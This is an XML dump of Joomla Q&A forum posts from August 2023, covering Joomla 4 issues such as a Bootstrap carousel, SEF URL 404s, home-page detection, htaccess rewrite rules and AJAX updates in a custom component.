  <row Id="33270" PostTypeId="2" ParentId="32860" CreationDate="2023-08-09T10:32:41.350" Score="0" Body="&lt;p&gt;The best option is to with a raw SQL insert - remember, this has to be done on 2 tables, the &lt;em&gt;#__users&lt;/em&gt; table and the &lt;em&gt;#__user_usergroup_map&lt;/em&gt; - it is also important to ensure that the IDs for the usergroups are the same, if not, then you will need to modify the SQL data.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2023-08-09T10:32:41.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33271" PostTypeId="2" ParentId="33255" CreationDate="2023-08-09T10:53:24.570" Score="0" Body="&lt;p&gt;You can modify the template using the setTemplate (which is a method on the Site Application object). Here's the function definition (the function is defined here: &lt;em&gt;/libraries/src/Application/SiteApplication.php&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function setTemplate($template, $styleParams = null)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The onAfterInitialise() event should work for you in your plugin.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2023-08-09T10:53:24.570" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33272" PostTypeId="2" ParentId="32109" CreationDate="2023-08-09T11:00:25.530" Score="0" Body="&lt;p&gt;I think this is a MySQL error - possibly caused by the fact that the DB user accessing the database doesn't have full privileges over that database. If you are using cPanel, you just &amp;quot;grant&amp;quot; all privileges for the user to the Joomla database. I know that this answer is over a year late but hopefully this will help someone.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2023-08-09T11:00:25.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33273" PostTypeId="1" CreationDate="2023-08-09T11:19:27.227" Score="0" ViewCount="291" Body="&lt;p&gt;I am trying to display a carousel in an article using the bootstrap code.&lt;/p&gt;&#xA;&lt;p&gt;This is a new Joomla 4 install using the casseiopa template. Here is my code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;d-flex justify-content-center&amp;quot;&amp;gt;&#xA;  &amp;lt;div id=&amp;quot;homePageCarousel&amp;quot; class=&amp;quot;carousel slide&amp;quot; data-bs-ride=&amp;quot;carousel&amp;quot;&amp;gt;&#xA;&amp;lt;div class=&amp;quot;carousel-inner&amp;quot;&amp;gt;&#xA;  &amp;lt;div class=&amp;quot;carousel-item active&amp;quot;&amp;gt;&#xA;    &amp;lt;img src=&amp;quot;images/homepage/image1.jpg&amp;quot; loading=&amp;quot;lazy&amp;quot; width=&amp;quot;626&amp;quot; height=&amp;quot;440&amp;quot; data-path=&amp;quot;local-images:/homepage/humument.jpg&amp;quot;/&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;carousel-caption d-none d-md-block&amp;quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Caption&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&amp;quot;carousel-item&amp;quot;&amp;gt;&#xA;   &amp;lt;img src=&amp;quot;images/homepage/image2.jpg&amp;quot; loading=&amp;quot;lazy&amp;quot; width=&amp;quot;626&amp;quot; height=&amp;quot;440&amp;quot; data-path=&amp;quot;local-images:/homepage/con_grosso.jpg&amp;quot;/&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;carousel-caption d-none d-md-block&amp;quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Caption&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;button class=&amp;quot;carousel-control-prev&amp;quot; type=&amp;quot;button&amp;quot; data-bs-target=&amp;quot;#homePageCarousel&amp;quot; data-bs-slide=&amp;quot;prev&amp;quot;&amp;gt;&#xA;  &amp;lt;span class=&amp;quot;carousel-control-prev-icon&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;  &amp;lt;span class=&amp;quot;visually-hidden&amp;quot;&amp;gt;Previous&amp;lt;/span&amp;gt;&#xA;&amp;lt;/button&amp;gt;&#xA;&amp;lt;button class=&amp;quot;carousel-control-next&amp;quot; type=&amp;quot;button&amp;quot; data-bs-target=&amp;quot;#homePageCarousel&amp;quot; data-bs-slide=&amp;quot;next&amp;quot;&amp;gt;&#xA;  &amp;lt;span class=&amp;quot;carousel-control-next-icon&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;  &amp;lt;span class=&amp;quot;visually-hidden&amp;quot;&amp;gt;Next&amp;lt;/span&amp;gt;&#xA;&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&lt;p&gt;There are no JS errors and the mark up is all there with the correct images but the carousel doesn't slide. Even if you click the &amp;quot;next&amp;quot; button?&lt;/p&gt;&#xA;&lt;p&gt;Do I need to initialise it somehow? Here is the JS stack btw in the header:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&amp;quot;/media/mod_menu/js/menu-es5.min.js?48ca03fa0e3b50d7aa4e5f89b9c52113&amp;quot; nomodule=&amp;quot;&amp;quot; defer=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&amp;quot;/media/vendor/jquery/js/jquery.min.js?3.6.3&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&amp;quot;/media/legacy/js/jquery-noconflict.min.js?04499b98c0305b16b373dff09fe79d1290976288&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&amp;quot;application/json&amp;quot; class=&amp;quot;joomla-script-options loaded&amp;quot;&amp;gt;{&amp;quot;joomla.jtext&amp;quot;:{&amp;quot;ERROR&amp;quot;:&amp;quot;Error&amp;quot;,&amp;quot;MESSAGE&amp;quot;:&amp;quot;Message&amp;quot;,&amp;quot;NOTICE&amp;quot;:&amp;quot;Notice&amp;quot;,&amp;quot;WARNING&amp;quot;:&amp;quot;Warning&amp;quot;,&amp;quot;JCLOSE&amp;quot;:&amp;quot;Close&amp;quot;,&amp;quot;JOK&amp;quot;:&amp;quot;OK&amp;quot;,&amp;quot;JOPEN&amp;quot;:&amp;quot;Open&amp;quot;},&amp;quot;system.paths&amp;quot;:{&amp;quot;root&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;rootFull&amp;quot;:&amp;quot;http:\/\/test-tomphillips.dreamhosters.com\/&amp;quot;,&amp;quot;base&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;baseFull&amp;quot;:&amp;quot;http:\/\/test-tomphillips.dreamhosters.com\/&amp;quot;},&amp;quot;csrf.token&amp;quot;:&amp;quot;ed896ea8e6ad30bc3e01d7df0a107698&amp;quot;}&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&amp;quot;/media/system/js/core.min.js?576eb51da909dcf692c98643faa6fc89629ead18&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&amp;quot;/media/templates/site/cassiopeia/js/template.min.js?48ca03fa0e3b50d7aa4e5f89b9c52113&amp;quot; defer=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&amp;quot;/media/system/js/messages-es5.min.js?44e3f60beada646706be6569e75b36f7cf293bf9&amp;quot; nomodule=&amp;quot;&amp;quot; defer=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&amp;quot;/media/system/js/messages.min.js?7425e8d1cb9e4f061d5e30271d6d99b085344117&amp;quot; type=&amp;quot;module&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7998" LastEditorUserId="7998" LastEditDate="2023-08-09T11:25:57.110" LastActivityDate="2024-01-16T07:02:05.207" Title="Casseiopa template - Bootstrap Carousel" Tags="|joomla-4.x|javascript|bootstrap|html|cassiopeia|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33274" PostTypeId="1" CreationDate="2023-08-09T11:24:44.103" Score="1" ViewCount="38" Body="&lt;p&gt;When Adding a subform row (in the backend) it fires the &amp;quot;subform-row-add&amp;quot; event that can be observed with JS.&lt;/p&gt;&#xA;&lt;p&gt;I've tried default namings like &amp;quot;subform-row-moved&amp;quot;, &amp;quot;subform-row-move&amp;quot;, &amp;quot;subform-row-delete&amp;quot;, &amp;quot;subform-row-deleted&amp;quot; without any success.&lt;/p&gt;&#xA;&lt;p&gt;Is there any ressource or a hint where to find those events?&#xA;a list maybe?&lt;/p&gt;&#xA;&lt;p&gt;Edit:&#xA;Ok I've checked the file (&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/e770fe3eae3bf7c762ddff2001443815fdf71c7a/build/media_source/system/js/fields/joomla-field-subform.w-c.es6.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/e770fe3eae3bf7c762ddff2001443815fdf71c7a/build/media_source/system/js/fields/joomla-field-subform.w-c.es6.js&lt;/a&gt;) and found that the delete event is called &amp;quot;subform-row-remove&amp;quot; but no event got fired on moved (not seen in this file)&lt;/p&gt;&#xA;&lt;p&gt;it looks like i need to observe it by myself then...&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2023-08-09T11:47:23.003" LastActivityDate="2023-08-09T11:47:23.003" Title="Is there a JS event that gets fired when a subform row got moved / deleted?" Tags="|javascript|jquery|subform|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33275" PostTypeId="1" CreationDate="2023-08-09T18:25:47.727" Score="1" ViewCount="85" Body="&lt;p&gt;I have a &lt;strong&gt;legacy&lt;/strong&gt; joomla 4 component that saves something back to the server using jquery. It works fine with SEO turned off, but I get a 404 error with SEO turned on. The URL parameter for the jquery is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_todomanager&amp;amp;task=save&amp;amp;format=raw&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Everything else works fine with SEO turned on.&lt;/p&gt;&#xA;&lt;p&gt;Am I just looking for a rewrite rule that just keeps this URL as is rather than trying to make it search engine friendly?&lt;/p&gt;&#xA;" OwnerUserId="3948" LastActivityDate="2023-08-09T19:08:01.647" Title="Legacy component + jquery + SEO = 404" Tags="|joomla-4.x|jquery|seo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33276" PostTypeId="2" ParentId="33275" CreationDate="2023-08-09T19:08:01.647" Score="3" Body="&lt;p&gt;I needed a / in front of the jquery url:&lt;/p&gt;&#xA;&lt;p&gt;/index.php?option=com_todomanager&amp;amp;task=save&amp;amp;format=raw&lt;/p&gt;&#xA;&lt;p&gt;Otherwise the url would get prepended with a menu item path, which was causing the 404&lt;/p&gt;&#xA;&lt;p&gt;tasks/index.php?option=com_todomanager&amp;amp;task=save&amp;amp;format=raw&lt;/p&gt;&#xA;" OwnerUserId="3948" LastActivityDate="2023-08-09T19:08:01.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33277" PostTypeId="2" ParentId="33273" CreationDate="2023-08-09T20:36:57.530" Score="0" Body="&lt;p&gt;Casseiopa already uses &lt;code&gt;use Joomla\CMS\HTML\HTMLHelper;&lt;/code&gt;.  So you can insert anywhere &lt;code&gt;HTMLHelper::_('bootstrap.carousel');&lt;/code&gt; To initiate the bootstrap 5 carousel included in Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;You can refer to the joomla documentation &lt;a href=&quot;https://docs.joomla.org/J4.x:Using_Bootstrap_Components_in_Joomla_4#Carousel&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Using_Bootstrap_Components_in_Joomla_4#Carousel&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You can also follow this link with a tutorial on the subject :&#xA;&lt;a href=&quot;https://docs.joomla.org/J4.x:Using_Bootstrap_Components_in_Joomla_4#Approach_2:_Using_a_Content_Plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Using_Bootstrap_Components_in_Joomla_4#Approach_2:_Using_a_Content_Plugin&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;hoping this helps you&lt;/p&gt;&#xA;" OwnerUserId="16693" LastEditorUserId="16693" LastEditDate="2023-08-19T05:44:37.900" LastActivityDate="2023-08-19T05:44:37.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33278" PostTypeId="1" CreationDate="2023-08-10T08:02:07.857" Score="0" ViewCount="131" Body="&lt;p&gt;Joomla version 4.3.3, Cassiopeia template.&lt;/p&gt;&#xA;&lt;p&gt;I have a module that I'd like to display only on the Home page. I have a home page menu item which is linked to a single article.&lt;/p&gt;&#xA;&lt;p&gt;In the module options I link the module to be displayed on the Home page menu item and it displays correctly.&lt;/p&gt;&#xA;&lt;p&gt;The problem is that if I link to any other area of the site using this form:&#xA;mysite/index.php?option=com_content&amp;amp;view=article&amp;amp;id=1401&#xA;then the module displays there too.&lt;/p&gt;&#xA;&lt;p&gt;I have installed the Advanced Module Manager and set it to exclude links which contain the string 'option' - this gets around the problem so it suggests that Joomla treats any url that has 'index.php' as the home page? I think I must have misunderstood something - can anyone explain?&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="16904" LastActivityDate="2024-01-08T08:00:25.040" Title="How does Joomla decide what the home page is?" Tags="|module-display|index.php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33279" PostTypeId="2" ParentId="33278" CreationDate="2023-08-10T08:33:38.607" Score="0" Body="&lt;p&gt;The problem with the above link is that your missing the ItemId which explicitly specifies which menu item is associated with the link, thus ensuring that modules are displayed on the proper pages. If you use Joomla's SEF then you won't have this problem, as the SEF plugin will properly guess the menu item ID for each page, allowing for the right modules to be displayed.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2023-08-10T08:33:38.607" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33280" PostTypeId="2" ParentId="33273" CreationDate="2023-08-10T08:59:54.557" Score="0" Body="&lt;p&gt;I use a free module to activate the Bootstrap components where en when needed, very handy: &lt;a href=&quot;https://github.com/ceford/j4xdemos-mod-custom-bscompos&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ceford/j4xdemos-mod-custom-bscompos&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And then I read the bootstrap documentation and try the examples:  &lt;a href=&quot;https://getbootstrap.com/docs/5.2/components/carousel/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://getbootstrap.com/docs/5.2/components/carousel/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17231" LastActivityDate="2023-08-10T08:59:54.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33281" PostTypeId="2" ParentId="33251" CreationDate="2023-08-10T09:13:50.820" Score="0" Body="&lt;p&gt;Found a solution: with Acymailing you can easily override the registration emails. A bit overkill if you do not need Acymailing, luckily, I was already using it.&lt;/p&gt;&#xA;&lt;p&gt;Another solution is also possible, but is a bit more cumbersome: &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=1000525&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=1000525&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Custom fields are powerful but not really developed nor user-friendly for end users.&lt;/p&gt;&#xA;" OwnerUserId="17231" LastActivityDate="2023-08-10T09:13:50.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33283" PostTypeId="1" AcceptedAnswerId="33295" CreationDate="2023-08-10T20:01:11.860" Score="0" ViewCount="91" Body="&lt;p&gt;Migrating a Joomla 3 component to Joomla 4 I have problems with getting Apache Server htaccess correctly configured to append query string from request to substituted URL - QSA flag. - It looks like this affects other Joomla components as well. Here an example of an RewriteRule which works in Joomla 3 but produces a 404 in Joomla 4:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;RewriteRule ^testpage$ /index.php?option=com_content&amp;amp;view=article&amp;amp;id=1 [QSA,L]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;It redirects but does not retain the original request when I change the rule to do so:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;RewriteRule ^testpage$ http://mydomain.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=1 [QSA,L]&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is what the user sees in the browser's address bar: &lt;code&gt;http://mydomain.com/index.php?option=com_content&amp;amp;view=article&amp;amp;id=1&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is it just me? What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="15765" LastEditorUserId="15765" LastEditDate="2023-08-11T12:15:54.223" LastActivityDate="2023-09-01T15:58:04.500" Title="htaccess QSA not working in Joomla 4" Tags="|component|joomla-4.x|.htaccess-configuration|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="33284" PostTypeId="2" ParentId="33278" CreationDate="2023-08-11T06:21:27.847" Score="0" Body="&lt;p&gt;To answer in more general terms your question of understanding;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I think I must have misunderstood something - can anyone explain?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Putting aside SEF for the moment, turn it off if you will.&lt;/p&gt;&#xA;&lt;p&gt;Any page displayed from Joomla is going to have an &lt;code&gt;?option=com_something&lt;/code&gt; as part of the URL as this part of URL Query tells Joomla what Component is to be displayed. For example displaying articles, Blogs or Lists, it will be &lt;code&gt;?option=com_content&lt;/code&gt;, for the Contact pages it will be &lt;code&gt;?option=com_contact&lt;/code&gt; and any number of 3rd party Component extensions will have their &lt;code&gt;?option=com_nameofcomponent&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Therefore using something like AMM to exclude any links that contain &lt;code&gt;?option&lt;/code&gt; is really not the solution here as all URL's are going to contain an &lt;code&gt;option&lt;/code&gt; in some form.&lt;/p&gt;&#xA;&lt;p&gt;The index.php is the entry point for any link to start Joomla, this file is what is executed to for every request for Joomla from the browser and has nothing to do with whether it is a homepage or any other page, it is always there to tell the browser which file will start Joomla. To not display the  index.php in the URL you need to select 'Use URL Rewriting' as part of using the SEF URL's, index.php can not be removed/hidden as part of the non-SEF URL.&lt;/p&gt;&#xA;&lt;p&gt;What tells Joomla that a page is the Homepage is where the yellow house icon is set against a menu item in Joomla, see image. Internally Joomla processing will be saying if you haven't told me to display a specific page or menu item then display the default page, the one displaying the yellow icon.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xSDHx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xSDHx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;There is nothing in the URL to distinguish a page as being the Homepage or not, however the current menu id is displayed as &lt;code&gt;&amp;amp;itemid=nnn&lt;/code&gt;. Therefore if you know that the Homepage menu id is 101, as in my image above, then &amp;amp;itemid=101 will appear in the URL and you can respond to that, but again there is nothing in the URL that says you are on the Homepage.&lt;/p&gt;&#xA;&lt;p&gt;A key component of Joomla called 'The Router' plays an important part in that it takes the Query from the incoming URL, that is everything to the right of the first '?', and breaks it down to determine what Joomla is to do with the request. This determines the Component/Extension(option=com_something), the page to displayed(view=fred), the command or action to be taken(task=barney), the record in the database to be used(id=), the page layout to use(&amp;amp;layout=wilma) and so on including the menu to be used(&amp;amp;itemid=). The &lt;code&gt;option&lt;/code&gt; is the only one that appears in all URL's and the rest will be dependant on the component being called.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http://mydomian/index.php?option=com_content&amp;amp;view=featured&amp;amp;Itemid=101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The second part of 'The Routers' job is when Joomla is preparing a page to be displayed it will go through all the links, internal ones, and do things like add the 'https://mydomain' to the front of each link and make sure they are correctly formed so that when selected on the page the URL provided will get processed, parsed, correctly by the incoming part of 'The Router'.&lt;/p&gt;&#xA;&lt;p&gt;When your turn on SEF that is telling 'The Router' that when preparing the links on a page to change them from the non-sef format to the SEF format, that is converting them from&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://mydomain/index.php?option=com_content&amp;amp;view=category&amp;amp;layout=blog&amp;amp;id=9&amp;amp;Itemid=102&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to&#xA;https://mydomain/index.php/products&lt;/p&gt;&#xA;&lt;p&gt;And conversely when 'The Router' receives the incoming SEF formed URL Query it will convert the URL Query back to the non-SEF URL before processing the URL to determine what action Joomla is to take.&lt;/p&gt;&#xA;&lt;p&gt;To answer your question in the comments of @itoctopus's answer, no you don't have to go through and change every occurrence of the index.php/?option. With SEF and URL Rewriting turned on the Router will do that dynamically when each page is being built.&lt;/p&gt;&#xA;&lt;p&gt;Between earlier versions of Joomla 3 and Joomla 4 there was some major changes to the way 'The Router' works that can cause some strange behaviour with older Joomla 3 style links coming into a Joomla 4 site, such as those stored by Google and other search engines.&lt;/p&gt;&#xA;&lt;p&gt;Therefore it is best to get the Joomla 4 site behaving the way you want it to, using SEF URL Queries, and ignore the older Joomla 3 syle incoming links. Eventually search engines will update the older links they have stored.&lt;/p&gt;&#xA;&lt;p&gt;If you want to deal more actively with the older links then you can look at the Redirect extension of Joomla or an equivalent 3rd party extension.&lt;/p&gt;&#xA;&lt;p&gt;As @Itoctopus has pointed out the older style links that don't have an &lt;code&gt;&amp;amp;itemid=&lt;/code&gt; will use the default menu id, the menu specified as the Homepage, and thus your module reappears on pages where it is not wanted.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-08-11T06:21:27.847" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33285" PostTypeId="1" CreationDate="2023-08-11T15:53:11.997" Score="0" ViewCount="60" Body="&lt;p&gt;I am using some custom fields at article level. These are also showing on the category blog view. How do I disable these? Am I being stupid or do I really need to create an override for such a trivial thing?&lt;/p&gt;&#xA;&lt;p&gt;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="7998" LastActivityDate="2023-08-11T15:53:11.997" Title="Joomla 4 - hide custom fields in category blog" Tags="|joomla-4.x|custom-field|category-blog|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33286" PostTypeId="2" ParentId="33262" CreationDate="2023-08-11T16:51:57.047" Score="1" Body="&lt;p&gt;After I lost some more hours on the problem I decided to buy the paid version of the Falang plugin and to open a ticket to the developers. After installing the paid version which was the actually same version as the free one, everything started to work properly. I hope this can help somebody that has similar problems.&lt;/p&gt;&#xA;" OwnerUserId="17240" LastActivityDate="2023-08-11T16:51:57.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33287" PostTypeId="1" AcceptedAnswerId="33291" CreationDate="2023-08-11T22:20:35.020" Score="0" ViewCount="122" Body="&lt;p&gt;Dears&lt;/p&gt;&#xA;&lt;p&gt;My component was a bit old. So I started to do it again on joomla 4. I have been looking for a few days, how to update or create data items by using Ajax in joomla 4.&#xA;i found a lot of feedback on the Ajax interface J4. But I like to understand and therefore do by myself.&lt;/p&gt;&#xA;&lt;p&gt;Normally, on &lt;a href=&quot;https://fullcalendar.io/docs/v3&quot; rel=&quot;nofollow noreferrer&quot;&gt;FullCalendar&lt;/a&gt;, I have an event listener that triggers an Ajax call. Either it creates an object in the database or modifies it.&lt;/p&gt;&#xA;&lt;p&gt;default.php :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        $.ajax({&#xA;        type: &amp;quot;post&amp;quot;,&#xA;        url: &amp;quot;index.php?option=com_litsupp&amp;amp;task=reservations.update&amp;quot;,&#xA;        data: &#xA;        {&#xA;            id: id,&#xA;            arrivee: arrivee,&#xA;            depart: depart,&#xA;            lit: lit&#xA;        },&#xA;        cache: false,&#xA;        success: function(data){&#xA;            alert(data);&#xA;            location.reload();&#xA;        } &#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My reservationsController.php :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class ReservationsController extends FormController&#xA;{&#xA;    public function update($key = null, $urlVar = null)&#xA;    {&#xA;        $this-&amp;gt;checkToken();&#xA;        $result = new stdClass;&#xA;        $input = Factory::getApplication()-&amp;gt;input;&#xA;        $id     = $this-&amp;gt;input-&amp;gt;getInt('id', 0);&#xA;        $arrivee = $this-&amp;gt;input-&amp;gt;get('arrivee','','string');&#xA;        $depart = $this-&amp;gt;input-&amp;gt;get('depart','','string');&#xA;        $lit = $this-&amp;gt;input-&amp;gt;get('lit',0,'int');&#xA;        $r = false;&#xA;        //PR: Added the model instantiation&#xA;        $model = $this-&amp;gt;getModel('Reservations', 'Site');&#xA;        if ($id &amp;gt; 0) {&#xA;            $r = $model-&amp;gt;updateResas(array(&#xA;                'id' =&amp;gt; $id,&#xA;                'arrivee' =&amp;gt; $arrivee,&#xA;                'depart' =&amp;gt; $depart,&#xA;                'lit' =&amp;gt; $lit&#xA;            ));&#xA;            $r = true;&#xA;        }&#xA;        $result-&amp;gt;status = $r;&#xA;        $result-&amp;gt;row = $id;&#xA;        echo json_encode($result);&#xA;        exit;       &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and my reservationModel :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    public function updateResas()&#xA;{&#xA;    $db = $this::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $updateNulls = true;&#xA;&#xA;    // Create an object for the record we are going to update.&#xA;    $object = new stdClass();&#xA;    &#xA;    // Must be a valid primary key value.&#xA;    $object-&amp;gt;id = $id;&#xA;    $object-&amp;gt;arrivee = $arrivee;&#xA;    $object-&amp;gt;depart = $depart;&#xA;    $object-&amp;gt;lit = $lit;&#xA;    &#xA;    // Update their details in the users table using id as the primary key.&#xA;    // You should provide forth parameter with value TRUE, if you would like to store the NULL values.&#xA;    $result = $this::getDbo()-&amp;gt;updateObject('#__litsupp_reservations', $object, 'id', $updateNulls);    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I absolutely do not manage joomla 4. The last update of my component was on version 3.1 of joomla.&#xA;Version 4 is still sorely lacking in documentation, if any of you can help me understand what I'm doing wrong. That would be great!&lt;/p&gt;&#xA;&lt;p&gt;Thank you for your help&lt;/p&gt;&#xA;" OwnerUserId="16693" LastActivityDate="2023-08-13T13:32:47.610" Title="how to update item by using ajax on custom component joomla 4" Tags="|joomla-4.x|custom-component|ajax|update|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33289" PostTypeId="1" CreationDate="2023-08-13T06:57:06.103" Score="1" ViewCount="52" Body="&lt;p&gt;I'm trying to use the UserHelper::addUserToGroup() to add a usergroup to a user.  This is in my component when I publish one of my records, I want the owning user of that record to be added to a specific usergroup.  So in my model I have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function publish($id, $state)&#xA;{&#xA;    $app = Factory::getApplication();&#xA;    $params = ComponentHelper::getParams('com_mycomponent');&#xA;    $joinCat = $params-&amp;gt;get('join_cat', 0);&#xA;    $myGroup = $params-&amp;gt;get('my_group', 0);&#xA;&#xA;    $table = $this-&amp;gt;getTable();&#xA;    $table-&amp;gt;load($id);&#xA;    $table-&amp;gt;state = $state;&#xA;&#xA;    if ($table-&amp;gt;catid == $joinCat) {&#xA;        if ($state == 1) {&#xA;            $addedOK = UserHelper::addUserToGroup($table-&amp;gt;user_id, $myGroup);&#xA;        } else {&#xA;            $removedOK = UserHelper::removeUserFromGroup($table-&amp;gt;user_id, $myGroup);&#xA;        }&#xA;    }&#xA;&#xA;    return $table-&amp;gt;store();&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Neither the addUserToGroup or removeUserFromGroup work as I expected.  What am I missing?  All assistance gratefully received.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2024-01-11T08:04:15.577" Title="[J4]Trying to add a user to Group with addUserToGroup()" Tags="|joomla-4.x|user-groups|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33290" PostTypeId="1" CreationDate="2023-08-13T11:52:25.953" Score="0" ViewCount="28" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vH2OO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vH2OO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;Seo optimizers cannot find titles in pictures, and I can not find how to add it through the admin panels. Please help.&lt;/p&gt;&#xA;" OwnerUserId="17254" LastEditorUserId="17254" LastEditDate="2023-08-13T11:53:12.360" LastActivityDate="2023-08-13T20:20:20.480" Title="Add title to image tag" Tags="|joomla-3.x|images|media-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
